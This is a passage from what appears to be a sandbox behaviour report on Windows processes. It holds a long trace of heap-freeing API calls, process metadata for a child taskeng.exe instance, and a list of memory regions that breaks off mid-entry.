0x82 [0139.548] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25dcd0 | out: hHeap=0x240000) returned 1 [0139.548] GetProcessHeap () returned 0x240000 [0139.548] GetProcessHeap () returned 0x240000 [0139.548] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25d500) returned 1 [0139.548] GetProcessHeap () returned 0x240000 [0139.548] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25d500) returned 0x18 [0139.548] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25d500 | out: hHeap=0x240000) returned 1 [0139.548] GetProcessHeap () returned 0x240000 [0139.548] GetProcessHeap () returned 0x240000 [0139.548] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25caf0) returned 1 [0139.548] GetProcessHeap () returned 0x240000 [0139.548] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25caf0) returned 0x20 [0139.549] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25caf0 | out: hHeap=0x240000) returned 1 [0139.549] GetProcessHeap () returned 0x240000 [0139.549] GetProcessHeap () returned 0x240000 [0139.549] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25c330) returned 1 [0139.549] GetProcessHeap () returned 0x240000 [0139.549] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25c330) returned 0xe [0139.549] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25c330 | out: hHeap=0x240000) returned 1 [0139.549] GetProcessHeap () returned 0x240000 [0139.549] GetProcessHeap () returned 0x240000 [0139.549] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25c310) returned 1 [0139.549] GetProcessHeap () returned 0x240000 [0139.549] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25c310) returned 0x18 [0139.549] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25c310 | out: hHeap=0x240000) returned 1 [0139.549] GetProcessHeap () returned 0x240000 [0139.549] GetProcessHeap () returned 0x240000 [0139.549] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x255d80) returned 1 [0139.549] GetProcessHeap () returned 0x240000 [0139.549] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x255d80) returned 0x20 [0139.549] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x255d80 | out: hHeap=0x240000) returned 1 [0139.549] GetProcessHeap () returned 0x240000 [0139.549] GetProcessHeap () returned 0x240000 [0139.549] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25bc30) returned 1 [0139.549] GetProcessHeap () returned 0x240000 [0139.549] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25bc30) returned 0x208 [0139.550] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25bc30 | out: hHeap=0x240000) returned 1 [0139.550] GetProcessHeap () returned 0x240000 [0139.550] GetProcessHeap () returned 0x240000 [0139.550] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba90) returned 1 [0139.550] GetProcessHeap () returned 0x240000 [0139.550] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25ba90) returned 0x18 [0139.550] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba90 | out: hHeap=0x240000) returned 1 [0139.550] GetProcessHeap () returned 0x240000 [0139.550] GetProcessHeap () returned 0x240000 [0139.550] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x255c90) returned 1 [0139.550] GetProcessHeap () returned 0x240000 [0139.550] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x255c90) returned 0x20 [0139.550] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x255c90 | out: hHeap=0x240000) returned 1 [0139.551] GetProcessHeap () returned 0x240000 [0139.551] GetProcessHeap () returned 0x240000 [0139.551] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25d2c0) returned 1 [0139.551] GetProcessHeap () returned 0x240000 [0139.551] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25d2c0) returned 0x200 [0139.551] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25d2c0 | out: hHeap=0x240000) returned 1 [0139.551] GetProcessHeap () returned 0x240000 [0139.551] GetProcessHeap () returned 0x240000 [0139.551] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25bad0) returned 1 [0139.551] GetProcessHeap () returned 0x240000 [0139.551] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25bad0) returned 0x18 [0139.551] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25bad0 | out: hHeap=0x240000) returned 1 [0139.551] GetProcessHeap () returned 0x240000 [0139.551] GetProcessHeap () returned 0x240000 [0139.551] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x255c00) returned 1 [0139.551] GetProcessHeap () returned 0x240000 [0139.551] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x255c00) returned 0x20 [0139.552] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x255c00 | out: hHeap=0x240000) returned 1 [0139.552] GetProcessHeap () returned 0x240000 [0139.552] GetProcessHeap () returned 0x240000 [0139.552] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25c240) returned 1 [0139.552] GetProcessHeap () returned 0x240000 [0139.552] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25c240) returned 0x14 [0139.552] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25c240 | out: hHeap=0x240000) returned 1 [0139.552] GetProcessHeap () returned 0x240000 [0139.552] GetProcessHeap () returned 0x240000 [0139.552] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25c220) returned 1 [0139.552] GetProcessHeap () returned 0x240000 [0139.552] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25c220) returned 0x18 [0139.552] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25c220 | out: hHeap=0x240000) returned 1 [0139.552] GetProcessHeap () returned 0x240000 [0139.552] GetProcessHeap () returned 0x240000 [0139.552] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x255b40) returned 1 [0139.552] GetProcessHeap () returned 0x240000 [0139.552] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x255b40) returned 0x20 [0139.552] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x255b40 | out: hHeap=0x240000) returned 1 [0139.552] GetProcessHeap () returned 0x240000 [0139.552] GetProcessHeap () returned 0x240000 [0139.552] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25c260) returned 1 [0139.552] GetProcessHeap () returned 0x240000 [0139.553] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25c260) returned 0x16 [0139.553] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25c260 | out: hHeap=0x240000) returned 1 [0139.553] GetProcessHeap () returned 0x240000 [0139.553] GetProcessHeap () returned 0x240000 [0139.553] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25c1e0) returned 1 [0139.553] GetProcessHeap () returned 0x240000 [0139.553] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25c1e0) returned 0x18 [0139.553] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25c1e0 | out: hHeap=0x240000) returned 1 [0139.553] GetProcessHeap () returned 0x240000 [0139.553] GetProcessHeap () returned 0x240000 [0139.553] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x255b10) returned 1 [0139.553] GetProcessHeap () returned 0x240000 [0139.553] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x255b10) returned 0x20 [0139.553] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x255b10 | out: hHeap=0x240000) returned 1 [0139.553] GetProcessHeap () returned 0x240000 [0139.553] GetProcessHeap () returned 0x240000 [0139.553] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba10) returned 1 [0139.553] GetProcessHeap () returned 0x240000 [0139.553] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25ba10) returned 0x2 [0139.553] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba10 | out: hHeap=0x240000) returned 1 [0139.553] GetProcessHeap () returned 0x240000 [0139.553] GetProcessHeap () returned 0x240000 [0139.553] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x255960) returned 1 [0139.553] GetProcessHeap () returned 0x240000 [0139.553] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x255960) returned 0x20 [0139.554] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x255960 | out: hHeap=0x240000) returned 1 [0139.554] GetProcessHeap () returned 0x240000 [0139.554] GetProcessHeap () returned 0x240000 [0139.554] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x255990) returned 1 [0139.554] GetProcessHeap () returned 0x240000 [0139.554] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x255990) returned 0x20 [0139.554] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x255990 | out: hHeap=0x240000) returned 1 [0139.554] GetProcessHeap () returned 0x240000 [0139.554] GetProcessHeap () returned 0x240000 [0139.554] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x2559c0) returned 1 [0139.554] GetProcessHeap () returned 0x240000 [0139.554] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x2559c0) returned 0x20 [0139.554] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x2559c0 | out: hHeap=0x240000) returned 1 [0139.554] GetProcessHeap () returned 0x240000 [0139.554] GetProcessHeap () returned 0x240000 [0139.554] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x2559f0) returned 1 [0139.554] GetProcessHeap () returned 0x240000 [0139.554] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x2559f0) returned 0x20 [0139.555] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x2559f0 | out: hHeap=0x240000) returned 1 [0139.555] GetProcessHeap () returned 0x240000 [0139.555] GetProcessHeap () returned 0x240000 [0139.555] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25cb80) returned 1 [0139.555] GetProcessHeap () returned 0x240000 [0139.555] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25cb80) returned 0x20 [0139.555] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25cb80 | out: hHeap=0x240000) returned 1 [0139.555] GetProcessHeap () returned 0x240000 [0139.555] GetProcessHeap () returned 0x240000 [0139.555] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25d660) returned 1 [0139.555] GetProcessHeap () returned 0x240000 [0139.555] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25d660) returned 0xc [0139.555] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25d660 | out: hHeap=0x240000) returned 1 [0139.555] GetProcessHeap () returned 0x240000 [0139.555] GetProcessHeap () returned 0x240000 [0139.555] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25cbb0) returned 1 [0139.555] GetProcessHeap () returned 0x240000 [0139.555] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25cbb0) returned 0x20 [0139.556] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25cbb0 | out: hHeap=0x240000) returned 1 [0139.556] GetProcessHeap () returned 0x240000 [0139.556] GetProcessHeap () returned 0x240000 [0139.556] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x257a80) returned 1 [0139.556] GetProcessHeap () returned 0x240000 [0139.556] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x257a80) returned 0x30 [0139.556] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x257a80 | out: hHeap=0x240000) returned 1 [0139.556] GetProcessHeap () returned 0x240000 [0139.556] GetProcessHeap () returned 0x240000 [0139.556] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25cbe0) returned 1 [0139.556] GetProcessHeap () returned 0x240000 [0139.556] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25cbe0) returned 0x20 [0139.557] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25cbe0 | out: hHeap=0x240000) returned 1 [0139.557] GetProcessHeap () returned 0x240000 [0139.557] GetProcessHeap () returned 0x240000 [0139.557] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x257ac0) returned 1 [0139.557] GetProcessHeap () returned 0x240000 [0139.557] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x257ac0) returned 0x30 [0139.557] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x257ac0 | out: hHeap=0x240000) returned 1 [0139.557] GetProcessHeap () returned 0x240000 [0139.557] GetProcessHeap () returned 0x240000 [0139.557] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25cd60) returned 1 [0139.557] GetProcessHeap () returned 0x240000 [0139.557] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25cd60) returned 0x20 [0139.557] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25cd60 | out: hHeap=0x240000) returned 1 [0139.558] GetProcessHeap () returned 0x240000 [0139.558] GetProcessHeap () returned 0x240000 [0139.558] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25d580) returned 1 [0139.558] GetProcessHeap () returned 0x240000 [0139.558] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25d580) returned 0x16 [0139.558] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25d580 | out: hHeap=0x240000) returned 1 [0139.558] GetProcessHeap () returned 0x240000 [0139.558] GetProcessHeap () returned 0x240000 [0139.558] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25cd30) returned 1 [0139.558] GetProcessHeap () returned 0x240000 [0139.558] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25cd30) returned 0x20 [0139.558] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25cd30 | out: hHeap=0x240000) returned 1 [0139.558] GetProcessHeap () returned 0x240000 [0139.558] GetProcessHeap () returned 0x240000 [0139.558] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25d5a0) returned 1 [0139.558] GetProcessHeap () returned 0x240000 [0139.558] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25d5a0) returned 0x16 [0139.558] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25d5a0 | out: hHeap=0x240000) returned 1 [0139.558] GetProcessHeap () returned 0x240000 [0139.558] GetProcessHeap () returned 0x240000 [0139.558] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25cd00) returned 1 [0139.558] GetProcessHeap () returned 0x240000 [0139.559] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25cd00) returned 0x20 [0139.559] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25cd00 | out: hHeap=0x240000) returned 1 [0139.559] GetProcessHeap () returned 0x240000 [0139.559] GetProcessHeap () returned 0x240000 [0139.559] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x279bd0) returned 1 [0139.559] GetProcessHeap () returned 0x240000 [0139.559] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x279bd0) returned 0x82 [0139.559] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x279bd0 | out: hHeap=0x240000) returned 1 [0139.559] GetProcessHeap () returned 0x240000 [0139.559] GetProcessHeap () returned 0x240000 [0139.559] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25ccd0) returned 1 [0139.559] GetProcessHeap () returned 0x240000 [0139.559] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25ccd0) returned 0x20 [0139.560] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ccd0 | out: hHeap=0x240000) returned 1 [0139.560] GetProcessHeap () returned 0x240000 [0139.560] GetProcessHeap () returned 0x240000 [0139.560] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25d5e0) returned 1 [0139.560] GetProcessHeap () returned 0x240000 [0139.560] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25d5e0) returned 0xe [0139.560] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25d5e0 | out: hHeap=0x240000) returned 1 [0139.560] GetProcessHeap () returned 0x240000 [0139.560] GetProcessHeap () returned 0x240000 [0139.560] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25cca0) returned 1 [0139.560] GetProcessHeap () returned 0x240000 [0139.560] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25cca0) returned 0x20 [0139.560] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25cca0 | out: hHeap=0x240000) returned 1 [0139.560] GetProcessHeap () returned 0x240000 [0139.560] GetProcessHeap () returned 0x240000 [0139.560] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25d600) returned 1 [0139.560] GetProcessHeap () returned 0x240000 [0139.560] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25d600) returned 0xc [0139.561] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25d600 | out: hHeap=0x240000) returned 1 [0139.561] GetProcessHeap () returned 0x240000 [0139.561] GetProcessHeap () returned 0x240000 [0139.561] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25cc70) returned 1 [0139.561] GetProcessHeap () returned 0x240000 [0139.561] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25cc70) returned 0x20 [0139.561] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25cc70 | out: hHeap=0x240000) returned 1 [0139.561] GetProcessHeap () returned 0x240000 [0139.561] GetProcessHeap () returned 0x240000 [0139.561] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25d620) returned 1 [0139.561] GetProcessHeap () returned 0x240000 [0139.561] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25d620) returned 0xe [0139.561] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25d620 | out: hHeap=0x240000) returned 1 [0139.561] GetProcessHeap () returned 0x240000 [0139.561] GetProcessHeap () returned 0x240000 [0139.561] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25cc40) returned 1 [0139.561] GetProcessHeap () returned 0x240000 [0139.561] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25cc40) returned 0x20 [0139.562] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25cc40 | out: hHeap=0x240000) returned 1 [0139.562] GetProcessHeap () returned 0x240000 [0139.562] GetProcessHeap () returned 0x240000 [0139.562] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25d640) returned 1 [0139.562] GetProcessHeap () returned 0x240000 [0139.562] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25d640) returned 0x10 [0139.562] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25d640 | out: hHeap=0x240000) returned 1 [0139.562] GetProcessHeap () returned 0x240000 [0139.562] GetProcessHeap () returned 0x240000 [0139.562] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25cc10) returned 1 [0139.562] GetProcessHeap () returned 0x240000 [0139.562] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25cc10) returned 0x20 [0139.562] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25cc10 | out: hHeap=0x240000) returned 1 [0139.562] GetProcessHeap () returned 0x240000 [0139.562] GetProcessHeap () returned 0x240000 [0139.562] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba30) returned 1 [0139.562] GetProcessHeap () returned 0x240000 [0139.562] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25ba30) returned 0x18 [0139.562] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba30 | out: hHeap=0x240000) returned 1 [0139.562] GetProcessHeap () returned 0x240000 [0139.562] GetProcessHeap () returned 0x240000 [0139.563] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x255a20) returned 1 [0139.563] GetProcessHeap () returned 0x240000 [0139.563] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x255a20) returned 0x20 [0139.563] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x255a20 | out: hHeap=0x240000) returned 1 [0139.563] GetProcessHeap () returned 0x240000 [0139.563] GetProcessHeap () returned 0x240000 [0139.563] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x255a50) returned 1 [0139.563] GetProcessHeap () returned 0x240000 [0139.563] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x255a50) returned 0x20 [0139.563] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x255a50 | out: hHeap=0x240000) returned 1 [0139.563] GetProcessHeap () returned 0x240000 [0139.563] GetProcessHeap () returned 0x240000 [0139.563] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x255a80) returned 1 [0139.563] GetProcessHeap () returned 0x240000 [0139.564] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x255a80) returned 0x20 [0139.564] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x255a80 | out: hHeap=0x240000) returned 1 [0139.564] GetProcessHeap () returned 0x240000 [0139.564] GetProcessHeap () returned 0x240000 [0139.564] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x255ab0) returned 1 [0139.564] GetProcessHeap () returned 0x240000 [0139.564] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x255ab0) returned 0x20 [0139.564] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x255ab0 | out: hHeap=0x240000) returned 1 [0139.564] GetProcessHeap () returned 0x240000 [0139.564] GetProcessHeap () returned 0x240000 [0139.564] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba50) returned 1 [0139.564] GetProcessHeap () returned 0x240000 [0139.564] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25ba50) returned 0x18 [0139.564] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba50 | out: hHeap=0x240000) returned 1 [0139.565] GetProcessHeap () returned 0x240000 [0139.565] GetProcessHeap () returned 0x240000 [0139.565] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x255ae0) returned 1 [0139.565] GetProcessHeap () returned 0x240000 [0139.565] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x255ae0) returned 0x20 [0139.565] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x255ae0 | out: hHeap=0x240000) returned 1 [0139.565] GetProcessHeap () returned 0x240000 [0139.565] GetProcessHeap () returned 0x240000 [0139.565] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x255b70) returned 1 [0139.565] GetProcessHeap () returned 0x240000 [0139.565] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x255b70) returned 0x20 [0139.565] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x255b70 | out: hHeap=0x240000) returned 1 [0139.565] GetProcessHeap () returned 0x240000 [0139.565] GetProcessHeap () returned 0x240000 [0139.566] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x255bd0) returned 1 [0139.566] GetProcessHeap () returned 0x240000 [0139.566] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x255bd0) returned 0x20 [0139.566] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x255bd0 | out: hHeap=0x240000) returned 1 [0139.566] GetProcessHeap () returned 0x240000 [0139.566] GetProcessHeap () returned 0x240000 [0139.566] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x255c30) returned 1 [0139.566] GetProcessHeap () returned 0x240000 [0139.566] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x255c30) returned 0x20 [0139.566] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x255c30 | out: hHeap=0x240000) returned 1 [0139.566] GetProcessHeap () returned 0x240000 [0139.566] GetProcessHeap () returned 0x240000 [0139.567] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x255c60) returned 1 [0139.567] GetProcessHeap () returned 0x240000 [0139.567] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x255c60) returned 0x20 [0139.567] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x255c60 | out: hHeap=0x240000) returned 1 [0139.567] GetProcessHeap () returned 0x240000 [0139.567] GetProcessHeap () returned 0x240000 [0139.567] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba70) returned 1 [0139.567] GetProcessHeap () returned 0x240000 [0139.567] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25ba70) returned 0x18 [0139.567] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba70 | out: hHeap=0x240000) returned 1 [0139.567] GetProcessHeap () returned 0x240000 [0139.567] GetProcessHeap () returned 0x240000 [0139.567] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x255ba0) returned 1 [0139.567] GetProcessHeap () returned 0x240000 [0139.567] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x255ba0) returned 0x20 [0139.568] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x255ba0 | out: hHeap=0x240000) returned 1 [0139.568] GetProcessHeap () returned 0x240000 [0139.568] GetProcessHeap () returned 0x240000 [0139.568] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25b9f0) returned 1 [0139.568] GetProcessHeap () returned 0x240000 [0139.568] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25b9f0) returned 0x18 [0139.568] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25b9f0 | out: hHeap=0x240000) returned 1 [0139.568] exit (_Code=0) Thread: id = 134 os_tid = 0xf70 Process: id = "25" image_name = "taskeng.exe" filename = "c:\\windows\\system32\\taskeng.exe" page_root = "0x40db7000" os_pid = "0xf78" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "5" os_parent_pid = "0x368" cmd_line = "taskeng.exe {0D7B1D73-C8DA-46D7-9D5E-9F486AE9B97D} S-1-5-21-4219442223-4223814209-3835049652-1000:Q9IATRKPRH\\kEecfMwgj:Interactive:Highest[1]" cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f52a" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 2613 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 2614 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 2615 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 2616 start_va = 0xc0000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000c0000" filename = "" Region: id = 2617 start_va = 0x76d20000 end_va = 0x76ec8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2618 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 2619 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2620 start_va = 0xff7f0000 end_va = 0xff863fff monitored = 0 entry_point = 0xff7ff44c region_type = mapped_file name 